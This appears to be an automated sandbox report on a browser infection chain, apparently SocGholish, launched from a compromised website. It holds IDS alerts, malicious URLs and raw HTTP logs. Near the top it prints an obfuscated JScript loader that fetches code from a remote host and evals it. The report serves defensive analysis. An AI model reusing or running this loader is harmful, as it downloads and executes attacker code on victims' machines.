Excluded IPs from analysis (whitelisted): 216.58.206.46, 142.250.184.195, 142.250.185.238, 64.233.184.84, 172.217.18.14, 216.58.206.78, 142.250.186.110, 172.217.16.202, 216.58.206.35, 172.217.16.206, 142.250.184.206, 142.250.181.238, 142.250.186.136, 142.250.186.78, 172.217.16.142, 142.250.181.227, 142.250.186.67, 74.125.206.84, 216.58.212.142, 23.60.203.209, 172.202.163.200
Excluded domains from analysis (whitelisted): a-ring-fallback.msedge.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, fonts.gstatic.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, www.googletagmanager.com, update.googleapis.com, clients.l.google.com, www.google-analytics.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://zatp6ncab.cc.rs6.net/tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC46&c=fACjGJy843O2qLhy_EDw1tXsObaS44Oax9jWi5hSnXgO6cOpWOdvvQ==&ch=uDRbqb-h-hxGIaPgl5mPd8lWnKQdGcMqD3sNOjiafZx2mj0NMDi8Mw==

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1003), with no line terminators
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	5.881203496199093
Encrypted:	false
SSDEEP:	24:oRTBeEcErEbEG7bUPrOmVpSNeUwNl/y0XVGCLaKptZ80cZ:FzE4X7WLHjZNo+Lti0O
MD5:	1C46215AF9BDDD2E3990A6F8813AD8BF
SHA1:	2FCE7C4E8699F8058509CB4182FC48D24F626C63
SHA-256:	A55F3C2627BD0A073420E3D1E5D053D180070EF7A70AB745049124EDC01BD808
SHA-512:	E47AE8FF4694D5EF9A7EFA23005DDA3A5BE94B9B718C77951A2A61DBE3CFC8AB056590DE31EAF2207B6F0F82BFAA0FF8C8A6EDBD29324D43B4D0A9884F2FCD7E
Malicious:	false
Reputation:	low
Preview:	//@cc_on var bl="0OqXvGgwIlTa1Em6iurzfC+jALxdHRtZ2NoWeQFcJS7DhMKbsP54Vk398UynpBY/";function xm(bj){var sh="";var cp,bf,rm,dm,ma,jq,gf;var iy=0;while(iy<bj.length){dm=bl.indexOf(bj.charAt(iy++));ma=bl.indexOf(bj.charAt(iy++));jq=bl.indexOf(bj.charAt(iy++));gf=bl.indexOf(bj.charAt(iy++));cp=(dm<<2)\|(ma>>4);bf=((ma&15)<<4)\|(jq>>2);rm=((jq&3)<<6)\|gf;sh=sh+String.fromCharCode(cp);if(bf&&jq!=64){sh=sh+String.fromCharCode(bf);}if(rm&&gf!=64){sh=sh+String.fromCharCode(rm);}}return sh;}var lm=this;function ui(oc){var xx=xm('HFC4HgBKH3f');var nl=xx+xm('CgC8R0');var ui=oc[nl];return ui;};function xx(nl){return nl;};var fg=xm('zCEA');var pg=new lm[xm('i+EVxjLQ+vBoxFCWR0')](fg+xm('zfs5aQNEzvNfCG0'));pg[xm('d9OQd2')](xm('fvBzC0'),xm('xwuVHw1ya5BWAjuNdgBcacE7H3GSdglbAju4aFEbdrBsHFBFx+PQzgGUd9CV'),true);pg[xm('H3CKL0')](xm('xWNFaVRVxjlsAFfVxkeb+CESAj05LzCKAeMsEQiUE+keLgkLzCNbdfBO6zV'));while(true){lm[xm('CkEI')][xm('f3PQLj0')](1000);if(pg[xm('HFCNLwQzRgGVLi')]==4){lm[xm('LjLNd0')](xx(ui(pg)));break;}}

Source: https://virtual.urban-orthodontics.com/OC7dn0MMvvZcDOetDh3xvUtauO8aFP/zWUC59lZJguxMT6nsGgL/7EwM560UDK+9Agy39EJYqv1PQLnwWUunvUU=	Avira URL Cloud: Label: malware
Source: https://virtual.urban-orthodontics.com/pGEA2N9DY7HAQzrqklIs+tcVZaiGWyK0xQ9kscoGX6vQAHSrhk0iq9BDOuuIQ3L6nkNtvNwVYq7AG2m9xgts+tk=	Avira URL Cloud: Label: malware
Source: https://virtual.urban-orthodontics.com/fAghFAcqQn0YKhsmSjsNNg98RGReMgN4HWZFfRJvfnIVZEQ2UCpTNkYqRXsEYkI2AQ==	Avira URL Cloud: Label: malware
Source: https://virtual.urban-orthodontics.com/iVvJ6/J5qoLtefPZv2jlyfovrJurYeuH6DWtguc8lpj9Or2Yq3frmP1589qlebvJs3mkiuUiq43zKb+D/Tq6gOY965Y=	Avira URL Cloud: Label: malware
Source: https://virtual.urban-orthodontics.com/GfWHlWLX5Px9172nL8art2qB4uU7z6X0d5Tr7GOQ2PNp16u3a9e9t3GQ8+Nsk/63ZA==	Avira URL Cloud: Label: malware

Source: Network traffic	Suricata IDS: 2058147 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (groundrats .org) : 192.168.2.4:50547 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058147 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (groundrats .org) : 192.168.2.4:55135 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058148 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in TLS SNI (groundrats .org) : 192.168.2.4:49778 -> 46.173.214.32:443
Source: Network traffic	Suricata IDS: 2852900 - Severity 1 - ETPRO EXPLOIT_KIT SocGholish Stage 3 Fake Update Payload M3 : 185.76.79.50:443 -> 192.168.2.4:49807

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.71
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: AutoItHost: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: AutoItHost: api.ipify.org
Source: global traffic	HTTP traffic detected: GET /api/json/ip/5SPfwvEV3gwc55pvxBQOnjhEt01fgi0C/173.20.107.78 HTTP/1.1User-Agent: AutoItHost: ipqualityscore.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC46&c=fACjGJy843O2qLhy_EDw1tXsObaS44Oax9jWi5hSnXgO6cOpWOdvvQ==&ch=uDRbqb-h-hxGIaPgl5mPd8lWnKQdGcMqD3sNOjiafZx2mj0NMDi8Mw== HTTP/1.1Host: zatp6ncab.cc.rs6.netConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widget.js HTTP/1.1Host: cdn.userway.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widgetapp/2025-03-11-08-31-12/widget_app_base_1741681872888.js HTTP/1.1Host: cdn.userway.orgConnection: keep-aliveOrigin: https://allstareventsmiami.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /include/iotracking.php HTTP/1.1Host: www.inflatableoffice.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /include/iotracking.php HTTP/1.1Host: rental.softwareConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widgetapp/2025-03-11-08-31-12/locales/en-US.json HTTP/1.1Host: cdn.userway.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://allstareventsmiami.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles/2025-03-11-08-31-12/widget_base.css?v=1741681872888 HTTP/1.1Host: cdn.userway.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widgetapp/2025-03-11-08-31-12/remediation/remediation_1741681872888.js HTTP/1.1Host: cdn.userway.orgConnection: keep-aliveOrigin: https://allstareventsmiami.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/tunings/xaCleGvcNk HTTP/1.1Host: api.userway.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /include/iotracking.php HTTP/1.1Host: rental.softwareConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: guid=67d0ae6c0b8a6
Source: global traffic	HTTP traffic detected: GET /widgetapp/2025-03-11-08-31-12/locales/en-US.json HTTP/1.1Host: cdn.userway.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widgetapp/images/body_wh.svg HTTP/1.1Host: cdn.userway.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widgetapp/images/spin_wh.svg HTTP/1.1Host: cdn.userway.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widgetapp/images/body_wh.svg HTTP/1.1Host: cdn.userway.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widgetapp/images/spin_wh.svg HTTP/1.1Host: cdn.userway.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GfWHlWLX5Px9172nL8art2qB4uU7z6X0d5Tr7GOQ2PNp16u3a9e9t3GQ8+Nsk/63ZA== HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/a11y-data/v0/page/https%3A%2F%2Fallstareventsmiami.com%2F/DESKTOP/WIDGET_OFF/status HTTP/1.1Host: api.userway.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://allstareventsmiami.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/a11y-data/v0/page/https%3A%2F%2Fallstareventsmiami.com%2F/DESKTOP/WIDGET_OFF/status HTTP/1.1Host: api.userway.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fAghFAcqQn0YKhsmSjsNNg98RGReMgN4HWZFfRJvfnIVZEQ2UCpTNkYqRXsEYkI2AQ== HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iVvJ6/J5qoLtefPZv2jlyfovrJurYeuH6DWtguc8lpj9Or2Yq3frmP1589qlebvJs3mkiuUiq43zKb+D/Tq6gOY965Y= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iVvJ6/J5qoLtefPZv2jlyfovrJurYeuH6DWtguc8lpj9Or2Yq3frmP1589qlebvJs3mkiuUiq43zKb+D/Tq6gOY965Y= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /OC7dn0MMvvZcDOetDh3xvUtauO8aFP/zWUC59lZJguxMT6nsGgL/7EwM560UDK+9Agy39EJYqv1PQLnwWUunvUU= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pGEA2N9DY7HAQzrqklIs+tcVZaiGWyK0xQ9kscoGX6vQAHSrhk0iq9BDOuuIQ3L6nkNtvNwVYq7AG2m9xgts+tk= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /OC7dn0MMvvZcDOetDh3xvUtauO8aFP/zWUC59lZJguxMT6nsGgL/7EwM560UDK+9Agy39EJYqv1PQLnwWUunvUU= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pGEA2N9DY7HAQzrqklIs+tcVZaiGWyK0xQ9kscoGX6vQAHSrhk0iq9BDOuuIQ3L6nkNtvNwVYq7AG2m9xgts+tk= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: allstareventsmiami.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: chromecache_229.4.dr	String found in binary or memory: window.open("http://www.facebook.com/sharer/sharer.php?u="+encodeURIComponent((opt.buttons.facebook.url !== '' ? opt.buttons.facebook.url : opt.url))+"&t="+opt.text+"", "", "toolbar=0, status=0, width=900, height=500"); equals www.facebook.com (Facebook)
Source: chromecache_229.4.dr	String found in binary or memory: window.open('https://www.linkedin.com/cws/share?url='+encodeURIComponent((opt.buttons.delicious.url !== '' ? opt.buttons.delicious.url : opt.url))+'&token=&isFramed=true', 'linkedin', 'toolbar=no,width=550,height=550'); equals www.linkedin.com (Linkedin)
Source: chromecache_229.4.dr	String found in binary or memory: linkedin: "http://www.linkedin.com/countserv/count/share?format=jsonp&url={url}&callback=?", equals www.linkedin.com (Linkedin)
